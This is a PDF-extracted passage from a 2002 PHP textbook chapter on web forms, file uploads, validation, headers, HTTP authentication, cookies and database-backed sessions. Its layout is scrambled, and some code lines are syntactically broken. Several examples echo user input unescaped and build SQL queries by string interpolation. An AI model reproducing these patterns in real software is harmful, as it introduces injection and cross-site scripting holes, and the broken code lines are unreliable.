<form action="<?php echo $_SERVER['PHP_SELF'] ?>" method="GET">Fahrenheit temperature:<input type="text" name="fahrenheit" value="<?php echo $fahr ?>" /><br /><input type="submit" name="Convert to Celsius!" /></form>

<?php if (! is_null($fahr)) { $celsius = ($fahr - 32) * 5/9; printf("%.2fF is %.2fC", $fahr, $celsius); }?>

</body></html>

Example 7-6. Multiple selection values with a select box

<html><head><title>Personality</title></head><body>

<form action="<?php echo $_SERVER['PHP_SELF'] ?>" method="GET">Select your personality attributes:<br /><select name="attributes[]" multiple>

Example 7-5. Temperature conversion with a sticky form (continued)

,ch07.15968 Page 168 Wednesday, March 13, 2002 11:44 AM

Programming php 1 - [PDF Document] (169)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Processing Forms | 169

In Example 7-6, the submit button has a name, "s". We check for the presence of thisparameter value to see whether we have to produce a personality description.Figure 7-3 shows the multiple selection page and the resulting output.

The same technique applies for any form field where multiple values can be returned.Example 7-7 shows a revised version of our personality form that is rewritten to usecheckboxes instead of a select box. Notice that only the HTML has changed—thecode to process the form doesn’t need to know whether the multiple values camefrom checkboxes or a select box.

<option value="perky">Perky</option><option value="morose">Morose</option><option value="thinking">Thinking</option><option value="feeling">Feeling</option><option value="thrifty">Spend-thrift</option><option value="prodigal">Shopper</option></select><br><input type="submit" name="s" value="Record my personality!" /></form>

<?php if (array_key_exists('s', $_GET)) { $description = join (" ", $_GET['attributes']); echo "You have a $description personality."; }?>

</body></html>

Figure 7-3. Multiple selection and its output

Example 7-6. Multiple selection values with a select box (continued)

,ch07.15968 Page 169 Wednesday, March 13, 2002 11:44 AM

Programming php 1 - [PDF Document] (170)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

170 | Chapter 7: Web Techniques

Sticky Multivalued ParametersSo now you’re wondering, can I make multiple selection form elements sticky? Youcan, but it isn’t easy. You’ll need to check to see whether each possible value in theform was one of the submitted values. For example:

Perky: <input type="checkbox" name="attributes[]" value="perky"<?= if (is_array($_GET['attributes']) and in_array('perky', $_GET['attributes'])) { "checked"; }?> /><br />

You could use this technique for each checkbox, but that’s repetitive and error-prone. At this point, it’s easier to write a function to generate the HTML for the pos-sible values and work from a copy of the submitted parameters. Example 7-8 showsa new version of the multiple selection checkboxes, with the form made sticky.Although this form looks just like the one in Example 7-7, behind the scenes, thereare substantial changes to the way the form is generated.

Example 7-7. Multiple selection values in checkboxes

<html><head><title>Personality</title></head><body>

<form action="<?php $_SERVER['PHP_SELF'] ?>" method="GET">Select your personality attributes:<br />Perky <input type="checkbox" name="attributes[]" value="perky" /><br />Morose <input type="checkbox" name="attributes[]" value="morose" /><br />Thinking <input type="checkbox" name="attributes[]" value="feeling" /><br />Feeling <input type="checkbox" name="attributes[]" value="feeling" /><br />Spend-thrift <input type="checkbox" name="attributes[]" value="thrifty" /><br />Shopper <input type="checkbox" name="attributes[]" value="thrifty" /><br /><br /><input type="submit" name="s" value="Record my personality!" /></form>

<?php if (array_key_exists('s', $_GET)) { $description = join (" ", $_GET['attributes']); echo "You have a $description personality."; }?>

</body></html>

Example 7-8. Sticky multivalued checkboxes

<html><head><title>Personality</title></head>

,ch07.15968 Page 170 Wednesday, March 13, 2002 11:44 AM

Programming php 1 - [PDF Document] (171)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Processing Forms | 171

The heart of this code is the make_checkboxes( ) subroutine. It takes three argu-ments: the name for the group of checkboxes, the array of on-by-default values, andthe array mapping values to descriptions. The list of options for the checkboxes is inthe $personality_attributes array.

<body>

<?php // fetch form values, if any $attrs = $_GET['attributes']; if (! is_array($attrs)) { $attrs = array( ); }

// create HTML for identically-named checkboxes

function make_checkboxes ($name, $query, $options) { foreach ($options as $value => $label) { printf('%s <input type="checkbox" name="%s[]" value="%s" ', $label, $name, $value); if (in_array($value, $query)) { echo "checked "; } echo "/><br />\n"; } }

// the list of values and labels for the checkboxes $personality_attributes = array( 'perky' => 'Perky', 'morose' => 'Morose', 'thinking' => 'Thinking', 'feeling' => 'Feeling', 'thrifty' => 'Spend-thrift', 'prodigal' => 'Shopper' );?>

<form action="<?php $_SERVER['PHP_SELF'] ?>" method="GET">Select your personality attributes:<br /><?php make_checkboxes('attributes', $attrs, $personality_attributes); ?><br /><input type="submit" name="s" value="Record my personality!" /></form>

<?php if (array_key_exists('s', $_GET)) { $description = join (" ", $_GET['attributes']); echo "You have a $description personality."; }?>

</body></html>

Example 7-8. Sticky multivalued checkboxes (continued)

,ch07.15968 Page 171 Wednesday, March 13, 2002 11:44 AM

Programming php 1 - [PDF Document] (172)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

172 | Chapter 7: Web Techniques

File UploadsTo handle file uploads (supported in most modern browsers), use the $_FILES array.Using the various authentication and file upload functions, you can control who isallowed to upload files and what to do with those files once they’re on your system.Security concerns to take note of are described in Chapter 12.

The following code displays a form that allows file uploads to the same page:

<form enctype="multipart/form-data" action="<?= $PHP_SELF ?>" method="POST"> <input type="hidden" name="MAX_FILE_SIZE" value="10240"> File name: <input name="toProcess" type="file"> <input type="submit" value="Upload"></form>

The biggest problem with file uploads is the risk of getting a file that is too large toprocess. PHP has two ways of preventing this: a hard limit and a soft limit. Theupload_max_filesize option in php.ini gives a hard upper limit on the size ofuploaded files (it is set to 2 MB by default). If your form submits a parameter calledMAX_FILE_SIZE before any file field parameters, PHP uses that value as the soft upperlimit. For instance, in the previous example, the upper limit is set to 10 KB. PHPignores attempts to set MAX_FILE_SIZE to a value larger than upload_max_filesize.

Each element in $_FILES is itself an array, giving information about the uploaded file.The keys are:

nameThe name of the file, as supplied by the browser. It’s difficult to make meaning-ful use of this, as the client machine may have different filename conventionsthan the web server (e.g., if the client is a Windows machine that tells you thefile is D:\PHOTOS\ME.JPG, while the web server runs Unix, to which that pathis meaningless).

typeThe MIME type of the uploaded file, as guessed at by the client.

sizeThe size of the uploaded file (in bytes). If the user attempted to upload a file thatwas too large, the size is reported as 0.

tmp_nameThe name of the temporary file on the server that holds the uploaded file. If theuser attempted to upload a file that was too large, the name is reported as"none".

The correct way to test whether a file was successfully uploaded is to use the func-tion is_uploaded_file( ), as follows:

if (is_uploaded_file($_FILES['toProcess']['tmp_name']) { // successfully uploaded}

,ch07.15968 Page 172 Wednesday, March 13, 2002 11:44 AM

Programming php 1 - [PDF Document] (173)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Processing Forms | 173

Files are stored in the server’s default temporary files directory, which is specified inphp.ini with the upload_tmp_dir option. To move a file, use the move_uploaded_file( )function:

move_uploaded_file($_FILES['toProcess']['tmp_name'], "path/to/put/file/$file);

The call to move_uploaded_file( ) automatically checks whether it was an uploadedfile. When a script finishes, any files uploaded to that script are deleted from thetemporary directory.

Form ValidationWhen you allow users to input data, you typically need to validate that data beforeusing it or storing it for later use. There are several strategies available for validatingdata. The first is JavaScript on the client side. However, since the user can choose toturn JavaScript off, or may even be using a browser that doesn’t support it, this can-not be the only validation you do.

A more secure choice is to use PHP itself to do the validation. Example 7-9 shows aself-processing page with a form. The page allows the user to input a media item;three of the form elements—the name, media type, and filename—are required. If theuser neglects to give a value to any of them, the page is presented anew with a mes-sage detailing what’s wrong. Any form fields the user already filled out are set to thevalues she entered. Finally, as an additional clue to the user, the text of the submitbutton changes from “Create” to “Continue” when the user is correcting the form.

Example 7-9. Form validation

<?php $name = $_POST['name']; $media_type = $_POST['media_type']; $filename = $_POST['filename']; $caption = $_POST['caption'];

$tried = ($_POST['tried'] == 'yes');

if ($tried) { $validated = (!empty($name) && !empty($media_type) && !empty($filename));

if (!$validated) {?><p> The name, media type, and filename are required fields. Please fill them out to continue.</p><?php } }

if ($tried && $validated) {

,ch07.15968 Page 173 Wednesday, March 13, 2002 11:44 AM

Programming php 1 - [PDF Document] (174)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

174 | Chapter 7: Web Techniques

In this case, the validation is simply a check that a value was supplied. We set$validated to be true only if $name, $type, and $filename are all nonempty. Otherpossible validations include checking that an email address is valid or checking thatthe supplied filename is local and exists.

For example, to validate an age field to ensure that it contains a nonnegative integer,use this code:

$age = $_POST['age'];$valid_age = strspn($age, "1234567890") == strlen($age);

The call to strspn( ) finds the number of digits at the start of the string. In a nonneg-ative integer, the whole string should be comprised of digits, so it’s a valid age if theentire string is made of digits. We could also have done this check with a regularexpression:

$valid_age = preg_match('/^\d+$/', $age);

Validating email addresses is a nigh-impossible task. There’s no way to take a stringand see whether it corresponds to a valid email address. However, you can catchtypos by requiring the user to enter the email address twice (into two differentfields). You can also prevent people from entering email addresses like “me” or

echo '<p>The item has been created.</p>'; }

// was this type of media selected? print "selected" if so function media_selected ($type) { global $media_type; if ($media_type == $type) { echo "selected"; } }?>

<form action="<?= $PHP_SELF ?>" method="POST"> Name: <input type=text name="name" value="<?= $name ?>" /><br /> Status: <input type="checkbox" name="status" value="active" <?php if($status == 'active') { echo 'checked'; } ?> /> Active<br /> Media: <select name="media_type"> <option value="">Choose one</option> <option value="picture" <?php media_selected('picture') ?> />Picture</option> <option value="audio" <?php media_selected('audio') ?> />Audio</option> <option value="movie" <?php media_selected('movie') ?> />Movie</option> </select><br />

File: <input type="text" name="filename" value="<?= $filename ?>" /><br /> Caption: <textarea name="caption"><?= $caption ?></textarea><br />

<input type="hidden" name="tried" value="yes" /> <input type="submit" value="<?php echo $tried ? 'Continue' : 'Create'; ?>" /></form>

Example 7-9. Form validation (continued)

,ch07.15968 Page 174 Wednesday, March 13, 2002 11:44 AM

Programming php 1 - [PDF Document] (175)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Setting Response Headers | 175

“me@aol” by requiring an at sign (@) and a period after it, and for bonus points youcan check for domains to which you don’t want to send mail (e.g., whitehouse.gov, ora competitor). For example:

$email1 = strtolower($_POST['email1']);$email2 = strtolower($_POST['email2']);if ($email1 !== $email2) { die("The email addresses didn't match");}if (! preg_match('/@.+\..+$/, $email1)) { die("The email address is invalid");}if (strpos($email1, "whitehouse.gov")) { die("I will not send mail to the White House");}

Field validation is basically string manipulation. In this example, we’ve used regularexpressions and string functions to ensure that the string provided by the user is thetype of string we expect.

Setting Response HeadersAs we’ve already discussed, the HTTP response that a server sends back to a clientcontains headers that identify the type of content in the body of the response, theserver that sent the response, how many bytes are in the body, when the responsewas sent, etc. PHP and Apache normally take care of the headers for you, identifyingthe document as HTML, calculating the length of the HTML page, and so on. Mostweb applications never need to set headers themselves. However, if you want to sendback something that’s not HTML, set the expiration time for a page, redirect the cli-ent’s browser, or generate a specific HTTP error, you’ll need to use the header( )function.

The only catch to setting headers is that you must do so before any of the body isgenerated. This means that all calls to header( ) (or setcookie( ), if you’re settingcookies) must happen at the very top of your file, even before the <html> tag. Forexample:

<?php header('Content-Type: text/plain');?>Date: todayFrom: fredTo: barneySubject: hands off!

My lunchbox is mine and mine alone. Get your own,you filthy scrounger!

Attempting to set headers after the document has started results in this warning:

Warning: Cannot add header information - headers already sent

,ch07.15968 Page 175 Wednesday, March 13, 2002 11:44 AM

Programming php 1 - [PDF Document] (176)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

176 | Chapter 7: Web Techniques

Different Content TypesThe Content-Type header identifies the type of document being returned. Ordinarilythis is "text/html", indicating an HTML document, but there are other useful docu-ment types. For example, "text/plain" forces the browser to treat the page as plaintext. This type is like an automatic “view source,” and it is useful when debugging.

In Chapters 9 and 10, we’ll make heavy use of the Content-Type header as we gener-ate documents that are really graphic images and Adobe PDF files.

RedirectionsTo send the browser to a new URL, known as a redirection, you set the Locationheader:

<?php header('Location: http://www.example.com/elsewhere.html'); exit( );?>

If you provide a partial URL (e.g., “/elsewhere.html”), the redirection is handledinternally by the web server. This is only rarely useful, as the browser generally won’tlearn that it isn’t getting the page it requested. If there are relative URLs in the newdocument, the browser will interpret them as being relative to the document itrequested, not the document it was sent. In general, you’ll want to redirect to anabsolute URL.

ExpirationA server can explicitly inform the browser, and any proxy caches that might bebetween the server and browser, of a specific date and time for the document toexpire. Proxy and browser caches can hold the document until that time or expire itearlier. Repeated reloads of a cached document do not contact the server. However,an attempt to fetch an expired document does contact the server.

To set the expiration time of a document, use the Expires header:

header('Expires: Fri, 18 Jan 2002 05:30:00 GMT');

To expire a document three hours from the time the page was generated, use time( )and gmstrftime( ) to generate the expiration date string:

$now = time( );$then = gmstrftime("%a, %d %b %Y %H:%M:%S GMT", $now + 60*60*3);header("Expires: $then");

To indicate that a document “never” expires, use the time a year from now:

$now = time( );$then = gmstrftime("%a, %d %b %Y %H:%M:%S GMT", $now + 365*86440);header("Expires: $then");

,ch07.15968 Page 176 Wednesday, March 13, 2002 11:44 AM

Programming php 1 - [PDF Document] (177)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Setting Response Headers | 177

To mark a document as already expired, use the current time or a time in the past:

$then = gmstrftime("%a, %d %b %Y %H:%M:%S GMT");header("Expires: $then");

This is the best way to prevent a browser or proxy cache from storing your document:

header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");header("Cache-Control: no-store, no-cache, must-revalidate");header("Cache-Control: post-check=0, pre-check=0", false);header("Pragma: no-cache");

For more information on controlling the behavior of browser and web caches, seeChapter 6 of Web Caching, by Duane Wessels (O’Reilly).

AuthenticationHTTP authentication works through request headers and response statuses. Abrowser can send a username and password (the credentials) in the request headers.If the credentials aren’t sent or aren’t satsifactory, the server sends a “401 Unautho-rized” response and identifies the realm of authentication (a string such as “Mary’sPictures” or “Your Shopping Cart”) via the WWW-Authenticate header. This typi-cally pops up an “Enter username and password for ...” dialog box on the browser,and the page is then re-requested with the updated credentials in the header.

To handle authentication in PHP, check the username and password (the PHP_AUTH_USER and PHP_AUTH_PW elements of $_SERVER) and call header( ) to set the realm andsend a “401 Unauthorized” response:

header('WWW-Authenticate: Basic realm="Top Secret Files"');header("HTTP/1.0 401 Unauthorized");

You can do anything you want to authenticate the username and password; forexample, you could consult a database, read a file of valid users, or consult aMicrosoft domain server. This example checks to make sure that the password is theusername, reversed:

$auth_ok = 0;$user = $_SERVER['PHP_AUTH_USER'];$pass = $_SERVER['PHP_AUTH_PW'];if (isset($user) && isset($pass) && $user === strrev($pass)) { $auth_ok = 1;}if (!$auth_ok) { header('WWW-Authenticate: Basic realm="Top Secret Files"'); header('HTTP/1.0 401 Unauthorized');}

Putting this into a document gives something like:

<?php $auth_ok = 0;

,ch07.15968 Page 177 Wednesday, March 13, 2002 11:44 AM

Programming php 1 - [PDF Document] (178)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

178 | Chapter 7: Web Techniques

$user = $_SERVER['PHP_AUTH_USER']; $pass = $_SERVER['PHP_AUTH_PW']; if (isset($user) && isset($pass) && $user === strrev($pass)) { $auth_ok = 1; } if (!$auth_ok) { header('WWW-Authenticate: Basic realm="Top Secret Files"'); header('HTTP/1.0 401 Unauthorized'); // anything else printed here is only seen if the client hits "Cancel" }?>}<!-- your password-protected document goes here -->

If you’re protecting more than one page, put the above code into a separate file andinclude it at the top of every protected page.

Maintaining StateHTTP is a stateless protocol, which means that once a web server completes a cli-ent’s request for a web page, the connection between the two goes away. In otherwords, there is no way for a server to recognize that a sequence of requests all origi-nate from the same client.

State is useful, though. You can’t build a shopping-cart application, for example, ifyou can’t keep track of a sequence of requests from a single user. You need to knowwhen a user puts a item in his cart, when he adds items, when he removes them, andwhat’s in the cart when he decides to check out.

To get around the Web’s lack of state, programmers have come up with many tricksto keep track of state information between requests (also known as session tracking).One such technique is to use hidden form fields to pass around information. PHPtreats hidden form fields just like normal form fields, so the values are available in the$_GET and $_POST arrays. Using hidden form fields, you can pass around the entirecontents of a shopping cart. However, a more common technique is to assign eachuser a unique identifier and pass the ID around using a single hidden form field. Whilehidden form fields work in all browsers, they work only for a sequence of dynamicallygenerated forms, so they aren’t as generally useful as some other techniques.

Another technique is URL rewriting, where every local URL on which the user mightclick is dynamically modified to include extra information. This extra information isoften specified as a parameter in the URL. For example, if you assign every user aunique ID, you might include that ID in all URLs, as follows:

http://www.example.com/catalog.php?userid=123

If you make sure to dynamically modify all local links to include a user ID, you cannow keep track of individual users in your application. URL rewriting works for alldynamically generated documents, not just forms, but actually performing therewriting can be tedious.

,ch07.15968 Page 178 Wednesday, March 13, 2002 11:44 AM

Programming php 1 - [PDF Document] (179)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Maintaining State | 179

A third technique for maintaining state is to use cookies. A cookie is a bit of informa-tion that the server can give to a client. On every subsequent request the client willgive that information back to the server, thus identifying itself. Cookies are useful forretaining information through repeated visits by a browser, but they’re not withouttheir own problems. The main problem is that some browsers don’t support cook-ies, and even with browsers that do, the user can disable cookies. So any applicationthat uses cookies for state maintenance needs to use another technique as a fallbackmechanism. We’ll discuss cookies in more detail shortly.

The best way to maintain state with PHP is to use the built-in session-tracking sys-tem. This system lets you create persistent variables that are accessible from differ-ent pages of your application, as well as in different visits to the site by the same user.Behind the scenes, PHP’s session-tracking mechanism uses cookies (or URLs) to ele-gantly solve most problems that require state, taking care of all the details for you.We’ll cover PHP’s session-tracking system in detail later in this chapter.

CookiesA cookie is basically a string that contains several fields. A server can send one ormore cookies to a browser in the headers of a response. Some of the cookie’s fieldsindicate the pages for which the browser should send the cookie as part of therequest. The value field of the cookie is the payload—servers can store any datathey like there (within limits), such as a unique code identifying the user, prefer-ences, etc.

Use the setcookie( ) function to send a cookie to the browser:

setcookie(name [, value [, expire [, path [, domain [, secure ]]]]]);

This function creates the cookie string from the given arguments and creates aCookie header with that string as its value. Because cookies are sent as headers in theresponse, setcookie( ) must be called before any of the body of the document is sent.The parameters of setcookie( ) are:

nameA unique name for a particular cookie. You can have multiple cookies with differ-ent names and attributes. The name must not contain whitespace or semicolons.

valueThe arbitrary string value attached to this cookie. The original Netscape specifi-cation limited the total size of a cookie (including name, expiration date, andother information) to 4 KB, so while there’s no specific limit on the size of acookie value, it probably can’t be much larger than 3.5 KB.

expireThe expiration date for this cookie. If no expiration date is specified, thebrowser saves the cookie in memory and not on disk. When the browser exits,the cookie disappears. The expiration date is specified as the number of seconds

,ch07.15968 Page 179 Wednesday, March 13, 2002 11:44 AM

Programming php 1 - [PDF Document] (180)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

180 | Chapter 7: Web Techniques

since midnight, January 1, 1970, GMT. For example, pass time( )+60*60*2 toexpire the cookie in two hours’ time.

pathThe browser will return the cookie only for URLs below this path. The default isthe directory in which the current page resides. For example, if /store/front/cart.php sets a cookie and doesn’t specify a path, the cookie will be sent back to theserver for all pages whose URL path starts with /store/front/.

domainThe browser will return the cookie only for URLs within this domain. Thedefault is the server hostname.

secureThe browser will transmit the cookie only over https connections. The default isfalse, meaning that it’s okay to send the cookie over insecure connections.

When a browser sends a cookie back to the server, you can access that cookiethrough the $_COOKIE array. The key is the cookie name, and the value is the cookie’svalue field. For instance, the following code at the top of a page keeps track of thenumber of times the page has been accessed by this client:

<?php $page_accesses = $_COOKIE['accesses']; setcookie('accesses', ++$page_accesses);?>

When decoding cookies, any periods (.) in a cookie’s name are turned into under-scores. For instance, a cookie named tip.top is accessible as $_COOKIE['tip_top'].

Example 7-10 shows an HTML page that gives a range of options for backgroundand foreground colors.

Example 7-10. Preference selection

<html><head><title>Set Your Preferences</title></head><body><form action="prefs.php" method="post">

Background:<select name="background"><option value="black">Black</option><option value="white">White</option><option value="red">Red</option><option value="blue">Blue</option></select><br />

Foreground:<select name="foreground"><option value="black">Black</option><option value="white">White</option>

,ch07.15968 Page 180 Wednesday, March 13, 2002 11:44 AM

Programming php 1 - [PDF Document] (181)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Maintaining State | 181

The form in Example 7-10 submits to the PHP script prefs.php, which is shown inExample 7-11. This script sets cookies for the color preferences specified in the form.Note that the calls to setcookie( ) are made before the HTML page is started.

The page created by Example 7-11 contains a link to another page, shown inExample 7-12, that uses the color preferences by accessing the $_COOKIE array.

<option value="red">Red</option><option value="blue">Blue</option></select><p />

<input type="submit" value="Change Preferences"></form></body></html>

Example 7-11. Setting preferences with cookies

<?php $colors = array('black' => '#000000', 'white' => '#ffffff', 'red' => '#ff0000', 'blue' => '#0000ff');

$bg_name = $_POST['background']; $fg_name = $_POST['foreground'];

setcookie('bg', $colors[$bg_name]); setcookie('fg', $colors[$fg_name]);?><html><head><title>Preferences Set</title></head><body>

Thank you. Your preferences have been changed to:<br />Background: <?= $bg_name ?><br />Foreground: <?= $fg_name ?><br />

Click <a href="prefs-demo.php">here</a> to see the preferencesin action.

</body></html>

Example 7-12. Using the color preferences with cookies

<html><head><title>Front Door</title></head><?php $bg = $_COOKIE['bg']; $fg = $_COOKIE['fg'];?>

Example 7-10. Preference selection (continued)

,ch07.15968 Page 181 Wednesday, March 13, 2002 11:44 AM

Programming php 1 - [PDF Document] (182)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

182 | Chapter 7: Web Techniques

There are plenty of caveats about the use of cookies. Not all clients support or acceptcookies, and even if the client does support cookies, the user may have turned themoff. Furthermore, the cookie specification says that no cookie can exceed 4 KB insize, only 20 cookies are allowed per domain, and a total of 300 cookies can bestored on the client side. Some browsers may have higher limits, but you can’t relyon that. Finally, you have no control over when browsers actually expire cookies—ifthey are at capacity and need to add a new cookie, they may discard a cookie thathas not yet expired. You should also be careful of setting cookies to expire quickly.Expiration times rely on the client’s clock being as accurate as yours. Many peopledo not have their system clocks set accurately, so you can’t rely on rapid expirations.

Despite these limitations, cookies are very useful for retaining information throughrepeated visits by a browser.

SessionsPHP has built-in support for sessions, handling all the cookie manipulation for youto provide persistent variables that are accessible from different pages and acrossmultiple visits to the site. Sessions allow you to easily create multipage forms (suchas shopping carts), save user authentication information from page to page, and storepersistent user preferences on a site.

Each first-time visitor is issued a unique session ID. By default, the session ID isstored in a cookie called PHPSESSID. If the user’s browser does not support cookies orhas cookies turned off, the session ID is propagated in URLs within the web site.

Every session has a data store associated with it. You can register variables to beloaded from the data store when each page starts and saved back to the data storewhen the page ends. Registered variables persist between pages, and changes to vari-ables made on one page are visible from others. For example, an “add this to yourshopping cart” link can take the user to a page that adds an item to a registered arrayof items in the cart. This registered array can then be used on another page to dis-play the contents of the cart.

<body bgcolor="<?= $bg ?>" text="<?= $fg ?>"><h1>Welcome to the Store</h1>

We have many fine products for you to view. Please feel free to browsethe aisles and stop an assistant at any time. But remember, you break ityou bought it!<p>

Would you like to <a href="prefs.html">change your preferences?</a>

</body></html>

Example 7-12. Using the color preferences with cookies (continued)

,ch07.15968 Page 182 Wednesday, March 13, 2002 11:44 AM

Programming php 1 - [PDF Document] (183)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Maintaining State | 183

Session basics

To enable sessions for a page, call session_start( ) before any of the document hasbeen generated:

<?php session_start( ) ?><html>...</html>

This assigns a new session ID if it has to, possibly creating a cookie to be sent to thebrowser, and loads any persistent variables from the store.

If you have registered objects, the class definitions for those objects must be loadedbefore the call to session_start( ). See Chapter 6 for discussion and an example.

You can register a variable with the session by passing the name of the variable tosession_register( ). For example, here is a basic hit counter:

<?php session_start( ); session_register('hits'); ++$hits;?>This page has been viewed <?= $hits ?> times.

The session_start( ) function loads registered variables into the associative array$HTTP_SESSION_VARS. The keys are the variables’ names (e.g., $HTTP_SESSION_VARS['hits']). If register_globals is enabled in the php.ini file, the variables are alsoset directly. Because the array and the variable both reference the same value, settingthe value of one also changes the value of the other.

You can unregister a variable from a session, which removes it from the data store,by calling session_unregister( ). The session_is_registered( ) function returns trueif the given variable is registered. If you’re curious, the session_id( ) function returnsthe current session ID.

To end a session, call session_destroy( ). This removes the data store for the currentsession, but it doesn’t remove the cookie from the browser cache. This means that,on subsequent visits to sessions-enabled pages, the user will have the same sessionID she had before the call to session_destroy( ), but none of the data.

Example 7-13 shows the first code block from Example 7-11 rewritten to use ses-sions instead of manually setting cookies.

Example 7-13. Setting preferences with sessions

<?php $colors = array('black' => '#000000', 'white' => '#ffffff', 'red' => '#ff0000', 'blue' => '#0000ff');

,ch07.15968 Page 183 Wednesday, March 13, 2002 11:44 AM

Programming php 1 - [PDF Document] (184)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

184 | Chapter 7: Web Techniques

Example 7-14 shows Example 7-12 rewritten to use sessions. Once the session isstarted, the $bg and $fg variables are created, and all the script has to do is use them.

By default, PHP session ID cookies expire when the browser closes. That is, sessionsdon’t persist after the browser exits. To change this, you’ll need to set the session.cookie_lifetime option in php.ini to the lifetime of the cookie, in seconds.

Alternatives to cookies

By default, the session ID is passed from page to page in the PHPSESSID cookie. How-ever, PHP’s session system supports two alternatives: form fields and URLs. Passingthe session ID via hidden fields is extremely awkward, as it forces you to make everylink between pages be a form’s submit button. We will not discuss this method fur-ther here.

The URL system for passing around the session ID, however, is very elegant. PHPcan rewrite your HTML files, adding the session ID to every relative link. For this towork, though, PHP must be configured with the -enable-trans-id option when com-piled (see Chapter 1). There is a performance penalty for this, as PHP must parse andrewrite every page. Busy sites may wish to stick with cookies, as they do not incurthe slowdown caused by page rewriting.

session_start( ); session_register('bg'); session_register('fg');

$bg_name = $_POST['background']; $fg_name = $_POST['foreground'];

$bg = $colors[$bg_name]; $fg = $colors[$fg_name];?>

Example 7-14. Using preferences from sessions

<?php session_start( ) ?><html><head><title>Front Door</title></head><body bgcolor="<?= $bg ?>" text="<?= $fg ?>"><h1>Welcome to the Store</h1>

We have many fine products for you to view. Please feel free to browsethe aisles and stop an assistant at any time. But remember, you break ityou bought it!<p>

Would you like to <a href="prefs.html">change your preferences?</a>

</body></html>

Example 7-13. Setting preferences with sessions (continued)

,ch07.15968 Page 184 Wednesday, March 13, 2002 11:44 AM

Programming php 1 - [PDF Document] (185)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Maintaining State | 185

Custom storage

By default, PHP stores session information in files in your server’s temporary direc-tory. Each session’s variables are stored in a separate file. Every variable is serializedinto the file in a proprietary format. You can change all of these things in the php.inifile.

You can change the location of the session files by setting the session.save_pathvalue in php.ini. If you are on a shared server with your own installation of PHP, setthe directory to somewhere in your own directory tree, so other users on the samemachine cannot access your session files.

PHP can store session information in one of two formats in the current sessionstore—either PHP’s built-in format, or WDDX (http://www.wddx.org). You canchange the format by setting the session.serialize_handler value in your php.ini fileto either php for the default behavior, or wddx for WDDX format.

You can write your own functions for reading and writing the registered variables. Inthis section, we’ll develop an example that stores session data in a database, whichlets you share sessions between multiple sites. It’s easy to install your custom sessionstore. First, set session.save_handler to user in your php.ini file. Next, write func-tions for opening a new session, closing a session, reading session information, writ-ing session information, destroying a session, and cleaning up after a session. Thenregister them with the session_set_save_handler( ) function:

session_set_save_handler(open_fn, close_fn, read_fn, write_fn, destroy_fn, gc_fn);

To make all the PHP files within a directory use your custom session store, set thefollowing options in your httpd.conf file:

<Directory "/var/html/test"> php_value session.save_handler user php_value session.save_path mydb php_value session.name session_store</Directory>

The mydb value should be replaced with the name of the database containing thetable. It is used by the custom session store to find the database.

The following sample code uses a MySQL database for a session store (databases arediscussed in full in Chapter 8). The table used in the example has the followingstructure:

CREATE TABLE session_store ( session_id char(32) not null PRIMARY KEY, expiration timestamp, value text not null);

The first function you must provide is the open handler, which takes care of openinga new session. It is called with the current value of session.save_path (from your

,ch07.15968 Page 185 Wednesday, March 13, 2002 11:44 AM

Programming php 1 - [PDF Document] (186)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

186 | Chapter 7: Web Techniques

php.ini file) and the name of the variable containing the PHP session ID (whichdefaults to PHPSESSID and can be changed in the php.ini file by setting session.name).Our open handler simply connects to the database and sets the global variable $tableto the name of the database table that holds the session information:

function open ($save_path,$session_name) { global $table;

mysql_connect('localhost'); mysql_select_db($save_path);

$table = $session_name;

return true;}

Once a session has been opened, the read and write handlers are called as necessaryto get the current state information and to store that state in a persistent manner.The read handler is given the session ID, and the write handler is called with the ses-sion’s ID and the data for the session. Our database read and write handlers queryand update the database table:

function read($session_id) { global $table; $result = mysql_query("SELECT value FROM $table WHERE session_id='$session_id'"); if($result && mysql_num_rows($result)) { return mysql_result($result,0); } else { error_log("read: ".mysql_error( )."\n",3,"/tmp/errors.log"); return ""; }}

function write($session_id, $data) { global $table; $data = addslashes($data); mysql_query("REPLACE INTO $table (session_id,value) VALUES('$session_id','$data')") or error_log("write: ".mysql_error( )."\n",3,"/tmp/errors.log"); return true;}

Complementing the open handler is the close handler, which is called after eachpage’s script is done executing. It performs any cleanup necessary when closing asession (usually very minimal). Our database close handler simply closes the data-base connection:

function close( ) { mysql_close( );

return true;}

,ch07.15968 Page 186 Wednesday, March 13, 2002 11:44 AM

Programming php 1 - [PDF Document] (187)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Maintaining State | 187

When a session is completed, the destroy handler is called. It is responsible for clean-ing up anything created during the open handler’s call. In the case of the databasestorage system, we must remove that session’s entry in the table:

function destroy($session_id) { global $table;

mysql_query( "DELETE FROM $table WHERE session_id = '$session_id'";

return true;}

